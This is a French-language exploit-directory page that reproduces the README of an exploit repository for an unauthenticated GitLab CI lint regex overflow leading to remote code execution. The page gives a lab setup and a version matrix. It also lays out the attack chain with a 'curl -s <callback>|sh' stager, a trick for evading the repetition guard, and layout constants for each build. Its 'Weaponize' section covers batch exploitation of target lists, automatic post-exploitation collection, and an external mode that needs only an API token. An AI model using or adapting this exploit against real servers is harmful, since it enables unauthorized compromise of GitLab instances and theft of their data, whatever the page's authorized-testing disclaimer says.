Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-97229-lab — CVE-2026-97229 GitLab CI lint regex integer overflow RCE — reproduction de la matrice de versions InstaBox et rétro-ingénierie du gadget libruby | Kitploit
Outils/GitHubGitHub/gandli/cve-2026-97229-lab
Analyse des VulnérabilitésExploitationRétro-ingénierieExploitation d'Applications WebPost-ExploitationTests d'IntrusionAnalyse de BinairesApprentissage et ÉducationOutil d'Accès à DistanceLabs et Pratique
GitHub
21il y a 19 joursPas encore vérifié
gandli/cve-2026-97229-lab

cve-2026-97229-lab

CVE-2026-97229 GitLab CI lint regex integer overflow RCE — reproduction de la matrice de versions InstaBox et rétro-ingénierie du gadget libruby

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-97229 GitLab CI lint regex integer overflow RCE

CVE-2026-97229 — écriture hors limites dans le lint regex de GitLab CI → RCE

Tests autorisés uniquement. Utilisez ceci contre des systèmes que vous possédez ou que vous êtes explicitement autorisé à tester (périmètre de bug bounty, mission client, votre propre laboratoire). Toute utilisation non autorisée est illégale.

English | 中文

Une requête de lint CI non authentifiée qui corrompt le matcher Onigmo et redirige l'exécution vers un gadget system() à l'intérieur de libruby.so :

GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
  → include.rules.exists.regexp compiles a crafted pattern
  → a 57k-repeat drives the matcher into a ~2 GiB expansion
  → the write lands past the allocation and redirects the VM frame
  → mov r14,rdi; call system@plt runs a 28-byte stager
  → curl -s <callback>|sh  →  uid=998(git)

La requête finale n'est pas authentifiée, mais l'implantation de la configuration CI malveillante nécessite un accès en écriture à un projet public (ou à une instance qui autorise l'auto-inscription et les projets publics).


En un coup d'œil

ÉlémentValeur
Affecté (testé)19.2.0–19.2.7, 19.3.0–19.3.3, 19.4.0–19.4.1
Non exploitable19.2.8, 19.3.4 (valeur aberrante, voir ci-dessous), 19.3.5, 19.4.2 ; 19.2.3 n'a pas d'image CE
DéclencheurGET /api/v4/projects/:id/ci/lint non authentifié
Prérequisaccessibilité + écriture sur un projet public (jeton, compte compromis ou inscription ouverte)
Impactexécution de commandes en tant que git (uid 998) à l'intérieur du conteneur GitLab
Contraintes du PoCbuilds x86_64 ; la disposition dépend de chaque build de libruby.so, et non de la chaîne de version
Périmètre de l'avis19.2.x < 19.2.8, 19.3.x < 19.3.5, 19.4.x < 19.4.2

19.3.4 est indiqué comme affecté par l'avis, mais son libruby.so embarqué n'entre jamais dans le chemin d'expansion vulnérable — nous n'avons pas pu l'exploiter (repro/evidence/2026-10-18-full-matrix/).


Démarrage rapide (labo)

./lab/run.sh 19.4.1                                    # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1

Expected last line:

{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
 "output":"uid=998(git) gid=998(git) groups=998(git)\n..."}

Aucun compte cloud et aucun SSH : le lab est du Docker simple (démon local, DOCKER_HOST, ou un contexte docker). Sur Docker Desktop, ajoutez --callback-host host.docker.internal.


Comment ça fonctionne

  1. L'opérateur crée un projet public et pousse une branche contenant un include.rules.exists.regexp conçu à cet effet, plus un chemin de dépôt de 110 octets.
  2. La requête de lint non authentifiée compile ce motif ; la répétition de 57 805 est écrite sous la forme {5(?#)7805} afin que le garde-fou de répétition côté Rails (REPEAT_MAX=1000) ne la voie pas.
  3. Sur les builds vulnérables, le matcher matérialise l'expansion (~2 Gio) ; l'arithmétique de taille déborde et l'écriture corrompt la mémoire adjacente.
  4. Le chemin forgé fournit une instruction call et l'offset de system@plt, redirigeant la VM.
  5. Le stager est curl -s <callback>|sh, donnant un shell en tant qu'utilisateur du service git.

Partie 1 — Reproduire (lab)

1.1 Démarrer une cible

./lab/run.sh 19.4.1            # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081       # second version on another port

Le lanceur applique les paramètres de mémoire dont l'exploit a besoin (sidekiq off, un seul worker Puma, petits tampons Postgres, --memory 6.5g --shm-size 256m), attend l'interface utilisateur et définit le mot de passe root. Voir lab/README.md / lab/README_CN.md.

1.2 Sonde

python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
ChampSignification
httpétat de GET /users/sign_in
versionversion de GitLab lue depuis le conteneur (null sans accès au conteneur)
classclassification de l'avis : affected / patched / not-listed / unknown
libruby_md5identité de build du libruby.so du conteneur cible
layoutfinish / gadget / step (uniquement lorsque le build est connu ou dérivable)
exploitableindique si un layout est disponible ; class=affected ne l'implique pas
layout_sourcetable, derived, ou no-overflow-in-build

class: "unknown" signifie simplement qu'aucune information de conteneur/version n'était disponible — pour une cible fournie uniquement sous forme d'URL, l'outil ne peut ni classifier ni dériver un layout. Voir « Cibles externes » ci-dessous.

1.3 Exploit

python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
  --command 'id; hostname; uname -a'

Critère de réussite : lint vaut dropped(HTTPError) ou http(502) et output commence par uid=998(git). Un 200 avec valid:true signifie que le build n'est pas vulnérable.

1.4 Matrice des versions

LigneExploitableCorrigé / non exploitable
19.2.x19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.719.2.8 ; 19.2.3 n'a pas d'image CE
19.3.x19.3.0–19.3.319.3.4 (le matcher ne s'étend jamais), 19.3.5
19.4.x19.4.0, 19.4.119.4.2

Preuves par build : repro/evidence/2026-10-18-full-matrix/ (中文).


Partie 2 — Weaponize (cibles autorisées)

2.1 Formats de cible

# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080

# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1

# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,

container est requis pour le chemin d'exploitation actuel (libruby/layout + rails runner) ; layout est une surcharge optionnelle pour les builds que l'outil ne peut pas lire.

2.2 Pipeline par lots

python3 exploit/cve97229.py --targets targets.txt --json-out run.json

Pour chaque cible, dans l'ordre : probe → exploit → en cas de RCE post-exploitation (exploit/post/collect.sh ; remplacer avec --post-command-file, désactiver avec --no-post). --probe-only s'arrête après l'empreinte. Code de sortie 0 si une cible a donné lieu à une RCE.

2.3 Résolution de la disposition

La charge utile nécessite trois constantes par build (gadget finish, system@plt, étape UTF-8). Ordre de résolution :

  1. layout explicite (0x… 0x… 12345) ;
  2. table md5 vérifiée (10 versions couvertes) ;
  3. dérivation à la volée depuis le libruby.so du conteneur via exploit/layout.py.

Tous les builds vulnérables connus n'utilisent que deux dispositions : 0x486DA9/0x31EE29/1249885 et 0x4885A9/0x31E809/1256138.

2.4 Cibles externes (sans Docker)

--mode external ne nécessite que HTTP et un PAT (portée api) : il crée un projet public via l'API, pousse avec oauth2:<token>, déclenche le lint non authentifié, puis supprime le projet ensuite.

Télécharger l’outil